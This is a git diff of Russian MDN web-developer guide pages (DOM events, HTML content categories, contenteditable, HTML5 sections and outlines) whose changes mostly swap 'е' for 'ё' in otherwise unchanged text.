            Этот код полагается на соглашение о том, что существует некоторый вид события, называемый 'click' , который вызовет все функции-обработчики (или 'обработчик') с объектом-аргументом Event (на данный момент, в этом случае производный от объекта MouseEvent ) и будет запущен после манипуляций пользователя с элементами button на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдет, buttonDOMElement объекта JavaScript вызовет функцию example_click_handler с объектом Event в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту ev, так как тот передается в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.
            
+
            Этот код полагается на соглашение о том, что существует некоторый вид события, называемый 'click' , который вызовет все функции-обработчики (или 'обработчик') с объектом-аргументом Event (на данный момент, в этом случае производный от объекта MouseEvent ) и будет запущен после манипуляций пользователя с элементами button на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдёт, buttonDOMElement объекта JavaScript вызовет функцию example_click_handler с объектом Event в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту ev, так как тот передаётся в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.
            
 
-
            Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обернут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:
            
+
            Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обёрнут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:
            var funcInit = function(){
     // user code goes here and can safely address all the HTML elements from the page
@@ -69,7 +69,7 @@ buttonDOMElement.addEventListener('click', example_click_handler);
            
 document.addEventListener('DOMContentLoaded', funcInit);
 
 
-
            так что этот код будет вызван только после того, как объект document вызовет событие 'DOMContentLoaded', потому что HTML был проанализирован и были созданы объекты Javasript,   представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передает аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.
            
+
            так что этот код будет вызван только после того, как объект document вызовет событие 'DOMContentLoaded', потому что HTML был проанализирован и были созданы объекты Javasript,   представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передаёт аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.
            Шаблон легко изучить и внедрить. Сложность с событиями возникает из-за необходимости изучить большое разнообразие событий, которые представлены в современных web-браузерах. Так же есть некоторая сложность в понимании, как писать обработчики, так как данный код работает асинхронно и потенциально может быть вызван несколько раз подряд, но в немного другой ситуации.
            
 
@@ -100,7 +100,7 @@ document.addEventListener('DOMContentLoaded', funcInit);
  
          • глобальный объект window вызывает событие, называемое 'load', когда страница закончила рендеринг, подразумевая, что все ресурсы были скачаны и применены, так что скрипт был выполнен и изображения отображены,
          • глобальный объект window вызывает событие, называемое 'resize', когда высота или ширина окна браузера была изменена пользователем,
          • объект DOM document, представляющий HTML-документ, вызывает событие, называемое 'DOMContentLoaded', когда документ закончил загрузку,
            • 
- 
          • объект узла DOM, такой как div или button, вызывающий событие, называемое 'click', когда пользователь нажимает кнопку мыши, пока ее указатель находится поверх узла DOM на HTML-странице.
            • 
+ 
          • объект узла DOM, такой как div или button, вызывающий событие, называемое 'click', когда пользователь нажимает кнопку мыши, пока её указатель находится поверх узла DOM на HTML-странице.
            • 
 
 
diff --git a/files/ru/web/guide/graphics/index.html b/files/ru/web/guide/graphics/index.html
index 600c9cd4dd..70c4cc4c20 100644
--- a/files/ru/web/guide/graphics/index.html
+++ b/files/ru/web/guide/graphics/index.html
@@ -4,7 +4,7 @@ slug: Web/Guide/Graphics
 translation_of: Web/Guide/Graphics
 original_slug: Web/Guide/Графика
 ---
-
            Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства  {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать ее каким-либо образом после. Как это проделать можно узнать в следующих статьях.
            
+
            Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства  {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать её каким-либо образом после. Как это проделать можно узнать в следующих статьях.
            
 
            
diff --git a/files/ru/web/guide/html/content_categories/index.html b/files/ru/web/guide/html/content_categories/index.html
index 16e41106a0..1334570d7b 100644
--- a/files/ru/web/guide/html/content_categories/index.html
+++ b/files/ru/web/guide/html/content_categories/index.html
@@ -3,7 +3,7 @@ title: Категории контента
 slug: Web/Guide/HTML/Content_categories
 translation_of: Web/Guide/HTML/Content_categories
 ---
-
            Каждый элемент HTML принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задает на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит ни в одну из этих категорий.
            
+
            Каждый элемент HTML принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задаёт на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит ни в одну из этих категорий.
            
 
 
            Существует три типа категорий контента:
            
 
@@ -49,12 +49,12 @@ translation_of: Web/Guide/HTML/Content_categories
 
            К этой категории принадлежат элементы {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} и {{HTMLElement("section")}}. 
            
 
 
            
-
            Не стоит путать данную модель контента с категорией корня задания разделов, которая изолирует свое содержимое от обычной структуры.
            
+
            Не стоит путать данную модель контента с категорией корня задания разделов, которая изолирует своё содержимое от обычной структуры.
            
 
            
 
 
            Заголовочный контент
            
 
-
            Заголовочный контент задает заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.
            
+
            Заголовочный контент задаёт заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.
            
 
 
            Данной категории принадлежат такие элементы, как {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} и {{HTMLElement("hgroup")}}.
            
 
@@ -63,7 +63,7 @@ translation_of: Web/Guide/HTML/Content_categories
 
            
 
 
            
-
            Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удален из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.
            
+
            Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удалён из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.
            
 
            
 
 
            Фразовый контент
            
@@ -72,7 +72,7 @@ translation_of: Web/Guide/HTML/Content_categories
 
 
            К данной категории принадлежат следующие элементы:  {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} и обычный текст (не только состоящий из символов пробелов).
            
 
-
            Еще несколько элементов входят в данную категорию при соблюдении особых условий:
            
+
            Ещё несколько элементов входят в данную категорию при соблюдении особых условий:
            
 
 
              
  
            • {{HTMLElement("a")}}, если содержит в себе только фразовый контент
              • 
@@ -86,12 +86,12 @@ translation_of: Web/Guide/HTML/Content_categories
 
 
              Встроенный контент
              
 
-
              Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имен. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.
              
+
              Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имён. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.
              
 
 
              Интерактивный контент
              
 
 
              К интерактивному контенту относятся элементы, который специально разработаны для взаимодействия с пользователем. В данную категорию входят {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}} и {{HTMLElement("textarea")}}.
              
- Некоторые элементы считаются интерактивным контентом только при соблюдении определенных условий:
              
+ Некоторые элементы считаются интерактивным контентом только при соблюдении определённых условий:
              
 
 
                
  
              • {{HTMLElement("audio")}}, если указан атрибут {{htmlattrxref("controls", "audio")}}
                • 
@@ -104,7 +104,7 @@ translation_of: Web/Guide/HTML/Content_categories
 
 
                Явный контент
                
 
-
                Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображен и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.
                
+
                Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображён и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.
                
 
 
                Контент форм
                
 
@@ -143,7 +143,7 @@ translation_of: Web/Guide/HTML/Content_categories
 
 
                Элементы поддержки скриптов
                
 
-
                Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путем либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.
                
+
                Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путём либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.
                
 
 
                Элементами поддержки скриптов являются:
                
 
diff --git a/files/ru/web/guide/html/editable_content/index.html b/files/ru/web/guide/html/editable_content/index.html
index c260371219..9f8b6b6389 100644
--- a/files/ru/web/guide/html/editable_content/index.html
+++ b/files/ru/web/guide/html/editable_content/index.html
@@ -12,13 +12,13 @@ translation_of: Web/Guide/HTML/Editable_content
 
 
                Все, что вам нужно сделать, это установить атрибут {{htmlattrxref("contenteditable")}} почти на любой элемент HTML, чтобы сделать его доступным для редактирования.
                
 
-
                Вот простой пример, который создает элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.
                
+
                Вот простой пример, который создаёт элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.
                
 
 
                <div contenteditable="true">
   Этот текст может быть отредактирован пользователем.
 </div>
                
 
-
                Вот приведенный выше HTML-код в песочнице:
                
+
                Вот приведённый выше HTML-код в песочнице:
                
 
 
                {{ EmbedLiveSample('Как_это_работает') }} 
                
 
@@ -30,9 +30,9 @@ translation_of: Web/Guide/HTML/Editable_content
 
 
                Использование  contenteditable  в разных браузерах было болезненным в течение длительного времени из-за различий в сгенерированной разметке между браузерами. Например, даже что-то простое, что происходит, когда вы нажимаете Enter/Return для создания новой строки текста внутри редактируемого элемента, обрабатывалось по-разному в основных браузерах (Firefox вставлял элементы {{htmlelement("br")}}, IE/Opera использовала {{htmlelement("p")}}, в Chrome/Safari использовался {{htmlelement("div")}}). 
                
 
-
                К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с  Firefox 60,  Firefox будет обновлен, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.
                
+
                К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с  Firefox 60,  Firefox будет обновлён, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.
                
 
-
                Попробуйте это в приведенном выше примере.
                
+
                Попробуйте это в приведённом выше примере.
                
 
 
                
 
                Примечание: Internet Explorer, который больше не разрабатывается, использует элементы {{htmlelement("p")}} вместо <div>.
                
@@ -103,7 +103,7 @@ user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");Мультимедиа:создание и взаимодействие с видео и звуком;
  
              • 2D/3D Графика и эффекты: способы значительно разнообразить  представление;
                • 
  
              • Доступ к устройствам: использование разных устройств для ввода и вывода информации;
                • 
- 
              • Стилизация: создание изощренных и совершенных тем.
                • 
+ 
              • Стилизация: создание изощрённых и совершенных тем.
                • 
 
              
 
 
            
  
   
            
    {{event("canplaythrough")}}Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остается, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остаётся, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.
   
            
   
            
    {{event("durationchange")}}
            
   
            
    {{event("progress")}}Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объеме загруженных данных доступна в атрибуте "buffered" элемента медиа.Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объёме загруженных данных доступна в атрибуте "buffered" элемента медиа.
   
            
   
            
    {{event("ratechange")}}
            
   
            
    {{event("volumechange")}}Отправляется, когда изменяется громкость звука (также когда звук включен или выключен).Отправляется, когда изменяется громкость звука (также когда звук включён или выключен).
   
            
   
            
    {{event("waiting")}}
 
 
 
 
 
 
 
 
 
 
 
  
  
 
 
 
            
@@ -59,7 +59,7 @@ original_slug: HTML/HTML5
      
            Server-sent события
            Позволяет серверу отправлять события клиенту, а не по классической парадигме, где сервер может передавать данные только в ответ на запрос клиента.
            WebRTC
            
-     
            Эта технология, где RTC создает возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.
            
+     
            Эта технология, где RTC создаёт возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.
            ОФФЛАЙН И ХРАНИЛИЩЕ
            
@@ -83,7 +83,7 @@ original_slug: HTML/HTML5
      
            Использование HTML5 audio и video
            {{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы вставляют и позволяют управлять мультимедиа контентом.
            WebRTC
            
-     
            Эта технология, где RTC создает возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.
            
+     
            Эта технология, где RTC создаёт возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.
            Использование Camera API
            Позволяет контролировать, манипулировать и хранить изображения с камеры устройства.
            
@@ -132,7 +132,7 @@ original_slug: HTML/HTML5
      
            Pointer Lock API
            Позволяет блокировать курсор, так чтобы игры и подобные приложения не теряли фокус, когда указатель достигает предела окна.
            Online and offline events
            
-     
            Для того, чтобы построить хорошую оффлайн-совместимые веб-приложения, вы должны знать, когда ваше приложение без сети. Также, вы должны знать, когда ваше приложение снова вернется в сеть.
            
+     
            Для того, чтобы построить хорошую оффлайн-совместимые веб-приложения, вы должны знать, когда ваше приложение без сети. Также, вы должны знать, когда ваше приложение снова вернётся в сеть.
            доступ к устройствам
            
diff --git a/files/ru/web/guide/html/html5/introduction_to_html5/index.html b/files/ru/web/guide/html/html5/introduction_to_html5/index.html
index 64b43c9b8a..85b024ad30 100644
--- a/files/ru/web/guide/html/html5/introduction_to_html5/index.html
+++ b/files/ru/web/guide/html/html5/introduction_to_html5/index.html
@@ -24,4 +24,4 @@ original_slug: HTML/HTML5/Введение_в_HTML5
 
            Использование нового HTML5 парсера
            The parsing rule of HTML5, which analyzes the meaning of mark-up, has been more precisely defined in HTML5. Until the introduction of HTML5, only the meaning of valid mark-up was defined, meaning that as soon as one small error was made in the mark-up (most Web sites have at least one), the behavior was undefined. Essentially, it meant that all browsers behaved differently, which is no longer the case. Now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way.
            This requirement helps Web developers quite a bit. While it is true that all modern browsers now use these HTML5 parsing rules, non-HTML5-compliant browsers are still used by some. Keep in mind that it's still highly recommended that one write valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers.
            
-
            Не волнуйтесь - вам не придется ничего менять на вашем веб-сайте - разработчики веб-браузерах сделали все для вас!
            
+
            Не волнуйтесь - вам не придётся ничего менять на вашем веб-сайте - разработчики веб-браузерах сделали все для вас!
            
diff --git a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html
index 57fc57b89d..bc5258ab54 100644
--- a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html
+++ b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html
@@ -14,14 +14,14 @@ translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
 original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
 ---
 
            
-
            Важно: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрен в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм построения структуры нельзя использовать для передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели степень важности заголовков (h1-h6).
            
+
            Важно: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрён в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм построения структуры нельзя использовать для передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели степень важности заголовков (h1-h6).
            
 
            Спецификация HTML5 предлагает разработчикам несколько новых элементов, позволяющих описывать структуру веб-документа с помощью стандартной семантики. В настоящей статье описываются эти элементы и способы их использования для создания требуемой структуры любого документа.
            Структура документа в HTML 4
            
 
-
            Структура документа, т. е. семантическая структура контента, заключенного в теги  <body> и </body>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включенными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.
            
+
            Структура документа, т. е. семантическая структура контента, заключённого в теги  <body> и </body>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включёнными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.
            Так, следующая разметка:
            
 
@@ -67,16 +67,16 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
 
 
            Какие проблемы решает HTML5
            
 
-
            Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются четкостью, что порождает множество проблем:
            
+
            Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются чёткостью, что порождает множество проблем:
              
- 
            1. Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов class не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не дает точного определения разделу и четких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с реабилитационными технологиями, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.
              2. 
- 
            2. Объединить несколько документов в один непросто: включение подчиненного документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.
              3. 
+ 
            3. Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов class не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не даёт точного определения разделу и чётких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с реабилитационными технологиями, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.
              4. 
+ 
            4. Объединить несколько документов в один непросто: включение подчинённого документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.
              5. 
  
            5. В HTML4 каждый раздел является частью структуры документа. Однако часто документы отличаются сложной, нелинейной структурой. Документ может включать специальные разделы, информация в которых не является частью основного контента, хотя и связана с ним, например, рекламный блок или поясняющая заметка. HTML5 добавляет элемент {{HTMLElement("aside")}}, позволяющий исключить такие разделы из основной структуры.
              6. 
  
            6. Опять же, поскольку в HTML4 каждый раздел является частью структуры документа, как быть с разделами, содержащими информацию, касающуюся не конкретного документа, а всего сайта, например, логотипы, оглавления или информация об авторских правах и правовые положения. В HTML5 для этих целей добавлено три новых элемента: {{HTMLElement("nav")}} для наборов ссылок, например, оглавления, {{HTMLElement("footer")}} и {{HTMLElement("header")}} для информации, касающейся всего сайта. Обратите внимание, что {{HTMLElement("header")}} и {{HTMLElement("footer")}} не создают разделы как {{HTMLElement("section")}}, а, скорее, обеспечивают семантическую разметку частей раздела.
              7. 
 
            
 
-
            В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что дает браузерам возможность более качественно обслуживать пользователей.
            
+
            В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что даёт браузерам возможность более качественно обслуживать пользователей.
            Алгоритм создания структуры HTML5
            
 
@@ -106,7 +106,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
   <p>(c) 2010 The Example company</p>
 </footer>
 
-
            Данный фрагмент HTML задает раздел верхнего уровня:
            
+
            Данный фрагмент HTML задаёт раздел верхнего уровня:
            <section>
   <h1>Лесные слоны</h1>
@@ -159,9 +159,9 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
 
 
            Задание заголовков в HTML5
            
 
-
            Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задает заголовок текущего раздела.
            
+
            Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задаёт заголовок текущего раздела.
            
 
-
            Элемент заголовка имеет определенную степень важности, определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет максимальную степень важности, а {{HTMLElement("h6")}} минимальную. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:
            
+
            Элемент заголовка имеет определённую степень важности, определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет максимальную степень важности, а {{HTMLElement("h6")}} минимальную. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:
            
 
 
            <section>
   <h1>Лесные слоны</h1>
@@ -248,10 +248,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
 
            приводит к следующей структуре:
            
 
 
            1. Млекопитающие
-   1.1 Киты (неявно задается элементом h2)
-   1.2 Лесные слоны (явным образом задается элементом раздела)
-   1.3 Монгольская песчанка (неявно задается элементом h3, который одновременно закрывает предыдущий раздел)
-2. Рептилии (неявно задается элементом h2, который одновременно закрывает предыдущий раздел)
+   1.1 Киты (неявно задаётся элементом h2)
+   1.2 Лесные слоны (явным образом задаётся элементом раздела)
+   1.3 Монгольская песчанка (неявно задаётся элементом h3, который одновременно закрывает предыдущий раздел)
+2. Рептилии (неявно задаётся элементом h2, который одновременно закрывает предыдущий раздел)
 
            
 
 
            Эта не та структура, которую можно было бы ожидать, бегло просмотрев теги заголовков. Чтобы разметка стала понятна человеку, а также чтобы степень важности заголовка соответствовала уровню вложенности раздела, рекомендуется использовать наглядные теги для открытия и закрытия разделов. Однако спецификация HTML5 этого не требует. Поэтому, если браузеры отображают структуру документа не так, как ожидалось, проверьте, нет ли в документе разделов, не явно закрытых элементами заголовков.
            
@@ -260,7 +260,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
 
 
            Корни задания разделов
            
 
-
             Корень задания разделов – это элемент HTML, который может иметь собственную структуру, однако входящие в нее разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.
            
+
             Корень задания разделов – это элемент HTML, который может иметь собственную структуру, однако входящие в неё разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.
            
 
 
            Например:
            
 
@@ -272,10 +272,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
   </section>
   <section>
     <h2>Среда обитания</h2>
-    <p>Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят ученые в «<cite>Лесной слон на Борнео</cite>»:</p>
+    <p>Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят учёные в «<cite>Лесной слон на Борнео</cite>»:</p>
     <blockquote>
        <h1>Борнео</h1>
-       <p>Лесной слон живет на Борнео...</p>
+       <p>Лесной слон живёт на Борнео...</p>
     </blockquote>
   </section>
 </section>
@@ -294,8 +294,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
 
             HTML5 вводит два новых элемента, позволяющих задавать разделы, не входящие в основную структуру веб-документа:
            
 
 
              
- 
            1. Элемент вспомогательного раздела {{HTMLElement("aside")}} задает раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.
              2. 
- 
            2. Элемент навигационного раздела {{HTMLElement("nav")}} задает раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.
              3. 
+ 
